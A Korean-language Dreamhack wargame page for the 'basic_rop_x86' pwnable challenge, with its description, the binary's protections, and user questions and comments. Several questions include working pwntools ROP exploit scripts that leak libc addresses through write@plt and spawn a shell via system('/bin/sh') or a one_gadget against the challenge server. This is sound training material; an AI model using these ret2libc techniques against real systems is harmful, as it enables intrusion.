LEVEL 2

basic_rop_x86

pwnable
  • 문제 정보
  • 풀이 133
  • 난이도 투표 68
  • 질문 31
  • 최근 풀이자 1767
  • 댓글 71

문제 설명

Description

이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x86)의 바이너리와 소스 코드가 주어집니다.
Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Environment
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
Reference

Return Oriented Programming

문제 수정 내역

2023.04.27: Ubuntu 22.04 환경으로 업데이트하였습니다.

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

c0nfu5e
워게임: 20
출제된 지 23시간 만에 풀이 완료!

난이도 투표 68

질문 29

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
페이로드 관련 질문
basic_rop_x64 문제를 풀었을 떄 사용한 페이로드의 경우 payload = b'1'*0x48 write(1, read_got, 0) payload += p64(ret_rdi) + p64(1) payload += p64(ret_rsi_r15) + p64(read_got) + p64(8) payload += p64(write_plt) return to mainS payload += p64(main) 위와 같이 구성했습니다. ret_rdi를 통해 1을 rdi에 pop하고, ret_rsi_rsi를 통해 rsi에 read_got의 주소를, r15에 8을 넣고 write_plt 함수를 호출하여 read_got 주소를 읽었습니다. basic_rop_x86 문제를 풀 때도 마찬가지로 pop을 3번 할 수 있는 코드 가젯을 찾고 활용하였습니다. ret_esi_edi_ebp = re.find_gadget(['pop esi', 'pop edi', 'pop ebp', 'ret'])[0] #write(1 , read_got, 4) payload = b'1' * 0x48 payload += p32(ret_esi_edi_ebp) payload += p32(1) + p64(read_got) +p32(4) payload += p32(write_plt) payload += p32(main) 실행하면 r.recvn(4) 부분에서 값을 받지 못하여 다른 사람들이 풀이한 코드를 확인해보니 read() 실제 주소 흭득 -> write(1, read@got, 4) payload += p32(write_plt) payload += p32(pppr) payload += p32(1) payload += p32(read_got) payload += p32(4) BSS 영역에 "/bin/sh" 쓰기 -> read(0, bss, 8) payload += p32(read_plt) 위와 같이 write_plt를 먼저 호출하고 코드 가젯을 활용하는 것을 확인했습니다. 질문사항은 다음과 같습니다. write_plt와 같은 함수를 호출하려면 3개의 인자를 pop하는 작업이 선행되야 하는게 아닌가요? 제가 풀이한 코드가 잘못되었나요?(write_plt 주소를 return하지 않고 제가 작성한 코드의 ret_esi_edi_ebp를 return하면 왜 잘못된건지 모르겠습니다.)
고블빈
x86 write 함수 호출규약 관련하여 질문드립니다.
from pwn import * def slog(symbol, addr): return success(symbol + ": " + hex(addr)) p=remote('host3.dreamhack.games',13804) e=ELF('./basic_rop_x86') libc=ELF("./libc.so.6",checksec=False) read_got=e.got['read'] read_plt=e.plt['read'] write_plt=e.plt['write'] main=e.symbols["main"] read_offset=libc.symbols['read'] system_offset=libc.symbols['system'] sh= list(libc.search(b"/bin/sh"))[0] pop_esi_edi_ebp=0x08048689 pop_ebp=0x0804868b #stage 1 payload=b'A'*0x48 #write(1,read@got,8) payload+=p32(write_plt) payload+=p32(pop_esi_edi_ebp) payload+=p32(1) payload+=p32(read_got) payload+=p32(4) payload+=p32(main) p.send(payload) #main함수 끝나기전에 출력된것 삭제 p.recvuntil(b'A'*0x40) #read 받아오기 read=u32(p.recv(4)) lb=read-read_offset system=lb+system_offset binsh=lb+sh slog("read", read) slog("libc base", lb) slog("system", system) slog("/bin/sh", binsh) payload=b'A'*0x48 payload+=p32(system) payload+=p32(pop_ebp)+p32(binsh) p.send(payload) p.recvuntil(b'A'*0x40) p.interactive() ret2main기법을 사용해서 다음과 같이 작성해주었는데 pop_esi_edi_ebp와 같이 레지스터를 이용해서 스택에 쌓아둔 값을 빼주는 이유가 esp를 높은 주소로 보내주기 위해서이고 x86아키텍처에서는 스택으로 인자를 전달하기에 값이 저장된 레지스터는 인자전달에 영향을 미치지 않는다고 알고있습니다. 그런데 x86아키텍처에서 스택으로 인자를 전달한다면, 인자를 몇개까지 받아야하는지는 어떻게 알 수 있나요? 놓인 순서대로 인자로 들어간다면, write_plt다음에 실행된 pop_esi_edi_ebp도 인자로 들어가야할거같은데 제 생각과는 다른거 같아서 질문드립니다.
reiki
one_gadget이용 풀이
from pwn import * context.log_level = 'debug' p = remote('host1.dreamhack.games', 21445) libc = ELF("./libc.so.6") e = ELF("./basic_rop_x86") read_got = e.got['read'] write_plt = e.plt['write'] read_plt = e.plt['read'] read_offset = libc.symbols['read'] pppr = 0x8048689 one_gadget_offset = 0x5f066 payload = '' payload += 'a'* 0x48 payload += p32(write_plt) payload += p32(pppr) payload += p32(1) payload += p32(read_got) payload += p32(4) payload += p32(read_plt) payload += p32(pppr) payload += p32(0) payload += p32(read_got) payload += p32(4) payload += p32(read_plt) p.sendline(payload) dummy = p.recv(0x40) read_addr = u32(p.recv(4)) #print hex(read_addr) libc_base = read_addr - read_offset one_gadget = libc_base + one_gadget_offset #print hex(one_gadget) p.sendline(p32(one_gadget)) p.interactive() $ one_gadget ./libc.so.6 0x3a80c execve("/bin/sh", esp+0x28, environ) constraints: esi is the GOT address of libc [esp+0x28] == NULL 0x3a80e execve("/bin/sh", esp+0x2c, environ) constraints: esi is the GOT address of libc [esp+0x2c] == NULL 0x3a812 execve("/bin/sh", esp+0x30, environ) constraints: esi is the GOT address of libc [esp+0x30] == NULL 0x3a819 execve("/bin/sh", esp+0x34, environ) constraints: esi is the GOT address of libc [esp+0x34] == NULL 0x5f065 execl("/bin/sh", eax) constraints: esi is the GOT address of libc eax == NULL 0x5f066 execl("/bin/sh", [esp]) constraints: esi is the GOT address of libc [esp] == NULL one_gadget을 이용해셔 풀려고 했는데 문제에서 준 libc파일에서 나오는 one_gadget모두를 써보았으나 eof에러가 납니다. 혹시 exploit 중에 문제가 있는지 봐 주실 수 있나요?
avatar 마리마리
64bit vs 32bit 참조하는 라이브러리가 다른가요??
64bit 풀 때와 같은 방법으로 system 함수 offset을 구했는데 32bit에서는 system 부르라니까 엉뚱한 곳으로 가네요. 근데 서버에 연결해서 libc = ELF("libc.so.6")넣었을 때는 정상 작동합니다. 로컬에서만 이상한 곳으로 넘어가요. 아무래도 함수 offset 계산하는 곳이 문제인 것 같습니다. 32bit 64bit 프로그램 따라 참조하는 라이브러리가 다를 수 있나요? 그 프로그램이 참조하고 있는 라이브러리 버전을 확인할 방법이 있나요? 아래는 제 소스 코드입니다. from pwn import * context.log_level = 'debug' e=ELF("./basic_rop_x86") p=process("./basic_rop_x86") libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so") #p=remote("host3.dreamhack.games", 9643) #libc = ELF("libc.so.6") pause() write_plt=e.plt["write"] read_plt=e.plt["read"] read_got=e.got["read"] ret=0x080483c2 pop3=0x08048689 pl=b'' pl+=b'A'*0x48 #write(1,read_got,0x4) pl+=p32(write_plt) pl+=p32(pop3) pl+=p32(1) pl+=p32(read_got) pl+=p32(0x4) #read(0,read_got,0x4+0x8) pl+=p32(read_plt) pl+=p32(pop3) pl+=p32(0) pl+=p32(read_got) pl+=p32(0x4+0x8) #read(/bin/sh) pl+=p32(read_plt) pl+=p32(0) pl+=p32(read_got+0x4) p.send(pl) p.recv(0x40) read = u32(p.recv(4)) print("read: ",hex(read)) print("basslib: ",hex(read-libc.symbols['read'])) print("system: ",hex(read-libc.symbols['read']+libc.symbols['system'])) p.send(p32(read-libc.symbols['read']+libc.symbols['system'])+b'/bin/sh\x00') p.interactive() `
fl4g

최근 풀이자 1767

우빙
강의 수강: 1
avatar
멀루
대표 업적 없음
ImitationGod
대표 업적 없음
Turt1e94
대표 업적 없음
avatar
d3vh4cks
대표 업적 없음
닉네미
대표 업적 없음
avatar
귀능
대표 업적 없음
땅지 구름운
대표 업적 없음
우주정복자
대표 업적 없음
nhh
대표 업적 없음

댓글 71

서정민
대표 업적 없음
익스코드를 작성할때에는 환경을 고려하여 ELF를 사용하는 습관을 들이도록 해요
Ma_Mu0228
대표 업적 없음
cdecl(32bit)에서 사용하는 rop에선 pop다음에 들어오는 레지스터의 종류는 의미가 없습니다. 이걸 설명 안해줘서 한참 헤맸네요. 그리고 로컬에서 실행 안돼도 서버 대상으로 하면 되는 경우도 있습니다.
avatar
daeseong
Lucky 7
매우 어지러운....
Dirstibone
워게임 풀이: 1
처음에 다른사람의 질문 글을 보며 참고해서 익스 코드를 짜려한게 오히려 발목이 되었습니다... 익스코드는 항상 다 풀고 다른 사람거 참고해보기...메모 x64에선 가젯을 불러와서 했던 방식과 비슷하게 x86에선 어떤식으로 인자를 불러올지에 대해 찾아 본 후 함수 호출 순서만 변경하니 해결되네요 재밌었습니다!
avatar
Captainjack
공부벌레
하아~~~ 일주일동안 혈투였다... 계속 삽질에 삽질을 거듭했지만 쉘 딴순간 너무 짜리했다 꿀잼 문제ㅋㅋㅋㅋㅋ
위유
강의 수강: 50
익스플로잇 코드가 제대로 동작하지 않는다면 Library 설정을 다시 확인해보세요. LD_LIBRARY_PATH가 제대로 적용되어 있는지, 이걸 .bashrc에 적용하지 않았는데 쉘을 새로 열어서 쓰고 있지는 않는지...
avatar
j1won
휴머노이드
:)
avatar
스카이넷
워게임 고인물
ez
avatar
buaii
워게임 고인물
어렵다 시스템해킹
avatar
santa6
대표 업적 없음
Linux Exploitation & Mitigation Part 2 (https://learn.dreamhack.io/3#11) 이 강의 보면서 32bit ROP 익히면 도움이 돼요